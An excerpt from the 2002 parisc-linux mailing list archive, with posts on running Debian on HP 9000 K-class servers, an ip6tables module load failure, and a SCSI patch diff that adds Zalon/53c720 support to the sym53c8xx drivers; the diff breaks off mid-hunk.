> Cc: "Emilio Adrianzn Acosta" <eadrianzen@tsd.com.pe>;
> <parisc-linux@lists.parisc-linux.org>
> Sent: Wednesday, October 30, 2002 9:42 AM
> Subject: Re: [parisc-linux] HP 9000 K200
>
>
> Emilio,
>
> Debian 3.0 out of the box will not support the K class systems because
> of the serial mux/pdc console.
>
> Use the ESIEE installers, (search the mail list for details) then
> everything should work as expected.
>
> Thanks,
>
> - Ryan
>
> On Wed, 2002-10-30 at 00:24, Stephan Trajkoff wrote:
> > Emilio Adrianzn Acosta wrote:
> >
> > > Hi there:
> > >
> > > I have the oportunity to buy an hp 9000 k200 server, but I need run
> > > linux on it. I had read the mailing list history but the last email
> > > about is from March. I would to know if someone has installed it
> > > succesfuly with the new Debian 3.0 from July.
> > >
> > > Thanks.
> > >
> > > Emilio.
> >
> >
> > Hello Emilio,
> > I have K210 and I have been installed 0.9.3 parisc linux, after I made
> > dist-upgrade all is working, and I am thinking
> > that you shouldn't have problems with debian 3.0
> >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:25:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fw: [parisc-linux] HP 9000 K200
Date: Wed, 30 Oct 2002 16:18:31 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20021030231831.64E98482E@dsl2.external.hp.com>
References: <005101c28027$bfd59280$13dca8c0@tsd.com.pe>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621873 16108 80.91.229.3 (22 Nov 2014 02:04:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Emilio_Adrianz=E9n_Acosta?= <eadrianzen@tsd.com.pe>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 30 16:18:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 64E98482E; Wed, 30 Oct 2002 16:18:31 -0700 (MST)
In-Reply-To: Message from =?iso-8859-1?Q?Emilio_Adrianz=E9n_Acosta?= <eadrianzen@tsd.com.pe> 
   of "Wed, 30 Oct 2002 10:19:32 EST." <005101c28027$bfd59280$13dca8c0@tsd.com.pe> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16629

=?iso-8859-1?Q?Emilio_Adrianz=E9n_Acosta?= wrote:
> One question: I need the source code of the sendmail to be modified and
> recompiled in the box, the standard source code will work or there ie
> another source code of sendmail for this server.

yes - it's called "postfix"
;^)

(just teasing - use "apt-get source sendmail" to get source.)

grant

grundler <532>apt-get source sendmail
Reading Package Lists... Done
Building Dependency Tree... Done
Need to get 0B/2149kB of source archives.
dpkg-source: extracting sendmail in sendmail-8.12.6
grundler <533>



From - Thu Nov 08 21:25:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "BUCH-PEDERSEN,LEIF (HP-France,ex1)" <leif_buch-pedersen@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ip6tables problem
Date: Thu, 31 Oct 2002 16:20:38 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <B320F712053ED411869200D0B747A3CA053E6498@laplace.grenoble.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621874 16111 80.91.229.3 (22 Nov 2014 02:04:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:34 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 31 08:30:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gremg1.net.external.hp.com (grenmg1.net.external.hp.com [155.208.254.57])
	by dsl2.external.hp.com (Postfix) with ESMTP id 058F94829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 31 Oct 2002 08:30:03 -0700 (MST)
Original-Received: from garonne.grenoble.hp.com (garonne.grenoble.hp.com [15.128.14.138])
	by gremg1.net.external.hp.com (Postfix) with ESMTP id EB6A11D9
	for <parisc-linux@lists.parisc-linux.org>; Thu, 31 Oct 2002 16:29:59 +0100 (MET)
Original-Received: by garonne.grenoble.hp.com with Internet Mail Service (5.5.2655.55)
	id <V8N7JBS4>; Thu, 31 Oct 2002 16:29:59 +0100
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16630

For some time I have been running a customized version of a 2.4.18 kernel
with ipv6 enabled on. Now I want to look at the use of iptables (ip6tables).


To do this have enabled ipv6 netfilter configuration options and compiled
several versions of the kernel (everything compiled into the kernel,
netfilter as modules, kernel based on 2.4.19-pa5 from parisc-linux.org). In
all cases the kernel compiles but ip6tables does not work. 

Using the kernel with modules I have been able to boil down the problem to a
problem with the module ip6table_filter. 

When I am doing 'insmod ip6table-filter' I get a message :
ip6table_filter.o: init_module: Invalid argument

And this is where I am stuck. There is no more information in syslog or
dmesg. Any ideas ?


Leif Buch-Pedersen
HP France, Grenoble

PS: ip6table_filter loads OK using a 2.4.18 kernel on a machine with a
Pentium processor.


From - Thu Nov 08 21:25:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ip6tables problem
Date: Thu, 31 Oct 2002 12:36:23 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20021031193623.6B06E4829@dsl2.external.hp.com>
References: <B320F712053ED411869200D0B747A3CA053E6498@laplace.grenoble.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621874 16113 80.91.229.3 (22 Nov 2014 02:04:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:34 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "BUCH-PEDERSEN,LEIF (HP-France,ex1)" <leif_buch-pedersen@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 31 12:36:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 6B06E4829; Thu, 31 Oct 2002 12:36:23 -0700 (MST)
In-Reply-To: Message from "BUCH-PEDERSEN,LEIF (HP-France,ex1)" <leif_buch-pedersen@hp.com> 
   of "Thu, 31 Oct 2002 16:20:38 +0100." <B320F712053ED411869200D0B747A3CA053E6498@laplace.grenoble.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16631

"BUCH-PEDERSEN,LEIF (HP-France,ex1)" wrote:
> To do this have enabled ipv6 netfilter configuration options and compiled
> several versions of the kernel (everything compiled into the kernel,
> netfilter as modules, kernel based on 2.4.19-pa5 from parisc-linux.org). In
> all cases the kernel compiles but ip6tables does not work. 

Not many people use IPV6 (ie run it on their machines).
I'm not aware of anyone trying it for parisc-linux.

> When I am doing 'insmod ip6table-filter' I get a message :
> ip6table_filter.o: init_module: Invalid argument
> 
> And this is where I am stuck. There is no more information in syslog or
> dmesg. Any ideas ?

Add printk() calls in the offending module.

	rmmod ip6table-filter
	vi net/ipv6/netfilter/ip6table_filter.c
	make modules
	make modules_install
	modprobe ip6table-filter 

until you can narrow down what's failing in init() routine.
See module_init(init) line at the bottom of ip6table_filter.c.

> PS: ip6table_filter loads OK using a 2.4.18 kernel on a machine with a
> Pentium processor.

suggests parisc is missing some arch specific IPV6 support.

grant


From - Thu Nov 08 21:25:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SCSI patches
Date: Fri, 1 Nov 2002 13:18:18 +0000
Lines: 405
Approved: news@gmane.org
Message-ID: <20021101131818.S27461@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621874 16115 80.91.229.3 (22 Nov 2014 02:04:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:34 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  1 06:18:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 413E84829
	for <parisc-linux@parisc-linux.org>; Fri,  1 Nov 2002 06:18:22 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 187bgo-0004n2-00
	for parisc-linux@parisc-linux.org; Fri, 01 Nov 2002 13:18:18 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16632

In the continuing mission to send our patches upstream... here's the sum
total of our SCSI patches.  As you can see there's not _much_ compared
to what we used to have ... but some of it looks a little fishy (did
MIPS really add support for PA-RISC?  ;-)

Anyway, I don't feel confident sending this upstream myself -- I don't
understand most of the changes, and wouldn't feel happy defending them.
Can I have a volunteer who does grok these scsi changes to send them
upstream?

diff -urpNX build-tools/dontdiff linus-2.5/drivers/scsi/Kconfig parisc-2.5/drivers/scsi/Kconfig
--- linus-2.5/drivers/scsi/Kconfig	Thu Oct 31 10:27:51 2002
+++ parisc-2.5/drivers/scsi/Kconfig	Thu Oct 31 16:30:09 2002
@@ -993,6 +993,16 @@ config SCSI_SYM53C8XX_2
 	  Please read <file:drivers/scsi/sym53c8xx_2/Documentation.txt> for more
 	  information.
 
+config SCSI_ZALON
+	tristate "Zalon SCSI support"
+	depends on GSC && SCSI && SCSI_SYM53C8XX_2!=y
+	help
+	  The Zalon is a GSC/HSC bus interface chip that sits between the
+	  PA-RISC processor and the NCR 53c720 SCSI controller on C100,
+	  C110, J200, J210 and some D, K & R-class machines.  It's also
+	  used on the add-in Bluefish, Barracuda & Shrike SCSI cards.
+	  Say Y here if you have one of these machines or cards.
+
 config SCSI_SYM53C8XX_DMA_ADDRESSING_MODE
 	int "DMA addressing mode"
 	depends on SCSI_SYM53C8XX_2
@@ -1097,7 +1107,7 @@ config SCSI_SYM53C8XX
 
 config SCSI_NCR53C8XX_DEFAULT_TAGS
 	int "default tagged command queue depth"
-	depends on PCI && SCSI_SYM53C8XX_2!=y && (SCSI_NCR53C8XX || SCSI_SYM53C8XX)
+	depends on PCI && SCSI_SYM53C8XX_2!=y && (SCSI_NCR53C8XX || SCSI_SYM53C8XX || SCSI_ZALON)
 	default "8"
 	---help---
 	  "Tagged command queuing" is a feature of SCSI-2 which improves
@@ -1123,7 +1133,7 @@ config SCSI_NCR53C8XX_DEFAULT_TAGS
 
 config SCSI_NCR53C8XX_MAX_TAGS
 	int "maximum number of queued commands"
-	depends on PCI && SCSI_SYM53C8XX_2!=y && (SCSI_NCR53C8XX || SCSI_SYM53C8XX)
+	depends on PCI && SCSI_SYM53C8XX_2!=y && (SCSI_NCR53C8XX || SCSI_SYM53C8XX || SCSI_ZALON)
 	default "32"
 	---help---
 	  This option allows you to specify the maximum number of commands
@@ -1140,7 +1150,7 @@ config SCSI_NCR53C8XX_MAX_TAGS
 
 config SCSI_NCR53C8XX_SYNC
 	int "synchronous transfers frequency in MHz"
-	depends on PCI && SCSI_SYM53C8XX_2!=y && (SCSI_NCR53C8XX || SCSI_SYM53C8XX)
+	depends on PCI && SCSI_SYM53C8XX_2!=y && (SCSI_NCR53C8XX || SCSI_SYM53C8XX || SCSI_ZALON)
 	default "20"
 	---help---
 	  The SCSI Parallel Interface-2 Standard defines 5 classes of transfer
@@ -1174,7 +1184,7 @@ config SCSI_NCR53C8XX_SYNC
 
 config SCSI_NCR53C8XX_PROFILE
 	bool "enable profiling"
-	depends on PCI && SCSI_SYM53C8XX_2!=y && (SCSI_NCR53C8XX || SCSI_SYM53C8XX)
+	depends on PCI && SCSI_SYM53C8XX_2!=y && (SCSI_NCR53C8XX || SCSI_SYM53C8XX || SCSI_ZALON)
 	help
 	  This option allows you to enable profiling information gathering.
 	  These statistics are not very accurate due to the low frequency
@@ -1185,7 +1195,7 @@ config SCSI_NCR53C8XX_PROFILE
 
 config SCSI_NCR53C8XX_IOMAPPED
 	bool "use normal IO"
-	depends on PCI && SCSI_SYM53C8XX_2!=y && (SCSI_NCR53C8XX || SCSI_SYM53C8XX)
+	depends on PCI && SCSI_SYM53C8XX_2!=y && (SCSI_NCR53C8XX || SCSI_SYM53C8XX) && !SCSI_ZALON
 	help
 	  If you say Y here, the driver will use normal IO, as opposed to
 	  memory mapped IO. Memory mapped IO has less latency than normal IO
@@ -1210,7 +1220,7 @@ config SCSI_NCR53C8XX_PQS_PDS
 
 config SCSI_NCR53C8XX_NO_DISCONNECT
 	bool "not allow targets to disconnect"
-	depends on PCI && SCSI_SYM53C8XX_2!=y && (SCSI_NCR53C8XX || SCSI_SYM53C8XX) && SCSI_NCR53C8XX_DEFAULT_TAGS=0
+	depends on PCI && SCSI_SYM53C8XX_2!=y && (SCSI_NCR53C8XX || SCSI_SYM53C8XX || SCSI_ZALON) && SCSI_NCR53C8XX_DEFAULT_TAGS=0
 	help
 	  This option is only provided for safety if you suspect some SCSI
 	  device of yours to not support properly the target-disconnect
@@ -1220,7 +1230,7 @@ config SCSI_NCR53C8XX_NO_DISCONNECT
 
 config SCSI_NCR53C8XX_SYMBIOS_COMPAT
 	bool "assume boards are SYMBIOS compatible (EXPERIMENTAL)"
-	depends on PCI && SCSI_SYM53C8XX_2!=y && (SCSI_NCR53C8XX || SCSI_SYM53C8XX) && EXPERIMENTAL
+	depends on PCI && SCSI_SYM53C8XX_2!=y && (SCSI_NCR53C8XX || SCSI_SYM53C8XX || SCSI_ZALON) && EXPERIMENTAL
 	---help---
 	  This option allows you to enable some features depending on GPIO
 	  wiring. These General Purpose Input/Output pins can be used for
diff -urpNX build-tools/dontdiff linus-2.5/drivers/scsi/lasi700.c parisc-2.5/drivers/scsi/lasi700.c
--- linus-2.5/drivers/scsi/lasi700.c	Thu Jul 18 09:53:26 2002
+++ parisc-2.5/drivers/scsi/lasi700.c	Thu Oct 31 18:06:42 2002
@@ -51,7 +51,6 @@
 #include <asm/irq.h>
 #include <asm/hardware.h>
 #include <asm/delay.h>
-#include <asm/gsc.h>
 
 #include <linux/module.h>
 
diff -urpNX build-tools/dontdiff linus-2.5/drivers/scsi/sym53c8xx.c parisc-2.5/drivers/scsi/sym53c8xx.c
--- linus-2.5/drivers/scsi/sym53c8xx.c	Thu Oct 31 17:35:47 2002
+++ parisc-2.5/drivers/scsi/sym53c8xx.c	Thu Oct 31 17:39:40 2002
@@ -4901,6 +4901,11 @@ static int __init ncr_prepare_setting(nc
 	u_long	period;
 	int i;
 
+#ifdef CONFIG_PARISC
+	char scsi_mode = -1;
+	struct hardware_path hwpath;
+#endif
+
 	/*
 	**	Wide ?
 	*/
@@ -4972,6 +4977,31 @@ static int __init ncr_prepare_setting(nc
 	 */
 
 	period = (4 * div_10M[0] + np->clock_khz - 1) / np->clock_khz;
+
+#if defined(CONFIG_PARISC)
+	/* Host firmware (PDC) keeps a table for crippling SCSI capabilities.
+	 * Many newer machines export one channel of 53c896 chip
+	 * as SE, 50-pin HD.  Also used for Multi-initiator SCSI clusters
+	 * to set the SCSI Initiator ID.
+	 */
+	get_pci_node_path(np->pdev, &hwpath);
+	if (pdc_get_initiator(&hwpath, &np->myaddr, &period, &np->maxwide, &scsi_mode))
+	{
+		if (np->maxwide) 
+			np->features |= FE_WIDE;
+		if (scsi_mode >= 0) {
+			/* C3000 PDC reports period/mode */
+			driver_setup.diff_support = 0;
+			switch(scsi_mode) {
+			case 0:	np->scsi_mode = SMODE_SE; break;
+			case 1:	np->scsi_mode = SMODE_HVD; break;
+			case 2:	np->scsi_mode = SMODE_LVD; break;
+			default:	break;
+			}
+		}
+	}
+#endif
+
 	if	(period <= 250)		np->minsync = 10;
 	else if	(period <= 303)		np->minsync = 11;
 	else if	(period <= 500)		np->minsync = 12;
@@ -12958,6 +12988,7 @@ if (sym53c8xx)
 		}
 		if (i != count)	/* Ignore this device if we already have it */
 			continue;
+		pci_set_master(pcidev);
 		devp = &devtbl[count];
 		devp->host_id = driver_setup.host_id;
 		devp->attach_done = 0;
@@ -13201,9 +13232,9 @@ sym53c8xx_pci_init(Scsi_Host_Template *t
 		return -1;
 	}
 
-#ifdef __powerpc__
+#if defined(__powerpc__) || defined(__hppa__)
 	/*
-	**	Fix-up for power/pc.
+	**	Fix-up for power/pc and hppa.
 	**	Should not be performed by the driver.
 	*/
 	if ((command & (PCI_COMMAND_IO | PCI_COMMAND_MEMORY))
diff -urpNX build-tools/dontdiff linus-2.5/drivers/scsi/sym53c8xx_2/sym_glue.c parisc-2.5/drivers/scsi/sym53c8xx_2/sym_glue.c
--- linus-2.5/drivers/scsi/sym53c8xx_2/sym_glue.c	Mon Oct 21 05:18:30 2002
+++ parisc-2.5/drivers/scsi/sym53c8xx_2/sym_glue.c	Mon Oct 21 05:34:18 2002
@@ -1876,7 +1876,7 @@ static int sym_setup_bus_dma_mask(hcb_p 
 					sym_name(np));
 		}
 		else {
-			if (!pci_set_dma_mask(np->s.device, 0xffffffffUL))
+			if (pci_set_dma_mask(np->s.device, 0xffffffffUL))
 				goto out_err32;
 		}
 	}
diff -urpNX build-tools/dontdiff linus-2.5/drivers/scsi/sym53c8xx_2/sym_malloc.c parisc-2.5/drivers/scsi/sym53c8xx_2/sym_malloc.c
--- linus-2.5/drivers/scsi/sym53c8xx_2/sym_malloc.c	Thu Jul 18 09:53:28 2002
+++ parisc-2.5/drivers/scsi/sym53c8xx_2/sym_malloc.c	Thu Jul 25 00:39:33 2002
@@ -143,12 +143,15 @@ static void ___sym_mfree(m_pool_p mp, vo
 	a = (m_addr_t) ptr;
 
 	while (1) {
-#ifdef SYM_MEM_FREE_UNUSED
 		if (s == SYM_MEM_CLUSTER_SIZE) {
+#ifdef SYM_MEM_FREE_UNUSED
 			M_FREE_MEM_CLUSTER(a);
+#else
+			((m_link_p) a)->next = h[i].next;
+			h[i].next = (m_link_p) a;
+#endif
 			break;
 		}
-#endif
 		b = a ^ s;
 		q = &h[i];
 		while (q->next && q->next != (m_link_p) b) {
diff -urpNX build-tools/dontdiff linus-2.5/drivers/scsi/sym53c8xx_defs.h parisc-2.5/drivers/scsi/sym53c8xx_defs.h
--- linus-2.5/drivers/scsi/sym53c8xx_defs.h	Thu Jul 18 09:53:27 2002
+++ parisc-2.5/drivers/scsi/sym53c8xx_defs.h	Fri Oct 18 08:25:44 2002
@@ -51,6 +51,13 @@
 **  NVRAM detection and reading.
 **    Copyright (C) 1997 Richard Waltham <dormouse@farsrobt.demon.co.uk>
 **
+**  Added support for MIPS big endian systems.
+**    Carsten Langgaard, carstenl@mips.com
+**    Copyright (C) 2000 MIPS Technologies, Inc.  All rights reserved.
+**
+**  Added support for HP PARISC big endian systems.
+**    Copyright (C) 2000 MIPS Technologies, Inc.  All rights reserved.
+**
 *******************************************************************************
 */
 
@@ -78,8 +85,10 @@
 /*
  *	No more an option, enabled by default.
  */
-#ifndef CONFIG_SCSI_NCR53C8XX_NVRAM_DETECT
-#define CONFIG_SCSI_NCR53C8XX_NVRAM_DETECT
+#ifndef ENABLE_SCSI_ZALON
+# ifndef CONFIG_SCSI_NCR53C8XX_NVRAM_DETECT
+#  define CONFIG_SCSI_NCR53C8XX_NVRAM_DETECT
+# endif
 #endif
 
 /*
@@ -181,6 +190,8 @@
 #endif
 #elif defined(__sparc__)
 #undef SCSI_NCR_IOMAPPED
+#elif defined(__hppa__) && defined(ENABLE_SCSI_ZALON)
+#undef SCSI_NCR_IOMAPPED
 #endif
 
 /*
@@ -379,16 +390,24 @@
 #define	readb_raw	readb
 #define	writeb_raw	writeb
 
-#if defined(__hppa__)
-#define	readw_l2b(a)	le16_to_cpu(readw(a))
-#define	readl_l2b(a)	le32_to_cpu(readl(a))
-#define	writew_b2l(v,a)	writew(cpu_to_le16(v),a)
-#define	writel_b2l(v,a)	writel(cpu_to_le32(v),a)
-#else	/* Other bid-endian */
+#if defined(SCSI_NCR_BIG_ENDIAN)
+#define	readw_l2b	__raw_readw
+#define	readl_l2b	__raw_readl
+#define	writew_b2l	__raw_writew
+#define	writel_b2l	__raw_writel
+#define	readw_raw	__raw_readw
+#define	readl_raw(a)	__raw_readl((unsigned long)(a))
+#define	writew_raw	__raw_writew
+#define	writel_raw(v,a)	__raw_writel(v,(unsigned long)(a))
+#else	/* Other big-endian */
 #define	readw_l2b	readw
 #define	readl_l2b	readl
 #define	writew_b2l	writew
 #define	writel_b2l	writel
+#define	readw_raw	readw
+#define	readl_raw	readl
+#define	writew_raw	writew
+#define	writel_raw	writel
 #endif
 
 #else	/* little endian */
@@ -417,9 +436,11 @@
 #endif
 #endif
 
+#if !defined(__hppa__) && !defined(__mips__)
 #ifdef	SCSI_NCR_BIG_ENDIAN
 #error	"The NCR in BIG ENDIAN addressing mode is not (yet) supported"
 #endif
+#endif
 
 
 /*
@@ -572,10 +593,20 @@
 
 #else
 
+#ifdef ENABLE_SCSI_ZALON
+/* Only 8 or 32 bit transfers allowed */
+#define INW_OFF(o)		(readb((char *)np->reg + ncr_offw(o)) << 8 | readb((char *)np->reg + ncr_offw(o) + 1))
+#else
 #define INW_OFF(o)		readw_raw((char *)np->reg + ncr_offw(o))
+#endif
 #define INL_OFF(o)		readl_raw((char *)np->reg + (o))
 
+#ifdef ENABLE_SCSI_ZALON
+/* Only 8 or 32 bit transfers allowed */
+#define OUTW_OFF(o, val)	do { writeb((char)((val) >> 8), (char *)np->reg + ncr_offw(o)); writeb((char)(val), (char *)np->reg + ncr_offw(o) + 1); } while (0)
+#else
 #define OUTW_OFF(o, val)	writew_raw((val), (char *)np->reg + ncr_offw(o))
+#endif
 #define OUTL_OFF(o, val)	writel_raw((val), (char *)np->reg + (o))
 
 #endif
@@ -623,6 +654,10 @@
 **	NCR53C8XX Device Ids
 */
 
+#ifndef PSEUDO_ZALON_720_ID
+#define PSEUDO_ZALON_720_ID 0x5a00
+#endif
+
 #ifndef PCI_DEVICE_ID_NCR_53C810
 #define PCI_DEVICE_ID_NCR_53C810 1
 #endif
@@ -726,6 +761,9 @@ typedef struct {
 #define FE_DAC	 	(1<<24)   /* Support DAC cycles (64 bit addressing) */
 #define FE_ISTAT1 	(1<<25)   /* Have ISTAT1, MBOX0, MBOX1 registers */
 #define FE_DAC_IN_USE	(1<<26)	  /* Platform does DAC cycles */
+#define FE_EHP		(1<<27)   /* 720: Even host parity */
+#define FE_MUX		(1<<28)   /* 720: Multiplexed bus */
+#define FE_EA		(1<<29)   /* 720: Enable Ack */
 
 #define FE_CACHE_SET	(FE_ERL|FE_CLSE|FE_WRIE|FE_ERMP)
 #define FE_SCSI_SET	(FE_WIDE|FE_ULTRA|FE_ULTRA2|FE_DBLR|FE_QUAD|F_CLK80)
@@ -747,6 +785,9 @@ typedef struct {
 
 #define SCSI_NCR_CHIP_TABLE						\
 {									\
+ {PSEUDO_ZALON_720_ID, 0x0f, "720",  3,  8, 4,				\
+ FE_WIDE|FE_DIFF|FE_EHP|FE_MUX|FE_EA}					\
+ ,									\
  {PCI_DEVICE_ID_NCR_53C810, 0x0f, "810",  4,  8, 4,			\
  FE_ERL}								\
  ,									\
@@ -819,6 +860,7 @@ typedef struct {
  */
 #define SCSI_NCR_CHIP_IDS		\
 {					\
+	PSEUDO_ZALON_720_ID,		\
 	PCI_DEVICE_ID_NCR_53C810,	\
 	PCI_DEVICE_ID_NCR_53C815,	\
 	PCI_DEVICE_ID_NCR_53C820,	\
@@ -1170,6 +1212,7 @@ struct ncr_reg {
 /*17*/  u_char    nc_mbox1;	/* 896 and later cores only */
 
 /*18*/	u_char	  nc_ctest0;
+	#define   EHP     0x04	/* 720 even host parity             */
 /*19*/  u_char    nc_ctest1;
 
 /*1a*/  u_char    nc_ctest2;
@@ -1187,6 +1230,7 @@ struct ncr_reg {
 
 /*20*/	u_char	  nc_dfifo;
 /*21*/  u_char    nc_ctest4;
+	#define   MUX     0x80  /* 720 host bus multiplex mode      */
 	#define   BDIS    0x80  /* mod: burst disable               */
 	#define   MPEE    0x08  /* mod: master parity error enable  */
 
@@ -1219,6 +1263,7 @@ struct ncr_reg {
 	#define   CLSE    0x80  /* mod: cache line size enable      */
 	#define   PFF     0x40  /* cmd: pre-fetch flush             */
 	#define   PFEN    0x20  /* mod: pre-fetch enable            */
+	#define   EA      0x20  /* mod: 720 enable-ack              */
 	#define   SSM     0x10  /* mod: single step mode            */
 	#define   IRQM    0x08  /* mod: irq mode (1 = totem pole !) */
 	#define   STD     0x04  /* cmd: start dma mode              */
@@ -1261,6 +1306,7 @@ struct ncr_reg {
 
 /*4e*/  u_char    nc_stest2;
 	#define   ROF     0x40	/* reset scsi offset (after gross error!) */
+	#define   DIF     0x20  /* 720 SCSI differential mode             */
 	#define   EXT     0x02  /* extended filtering                     */
 
 /*4f*/  u_char    nc_stest3;
@@ -1439,12 +1485,22 @@ struct scr_tblmove {
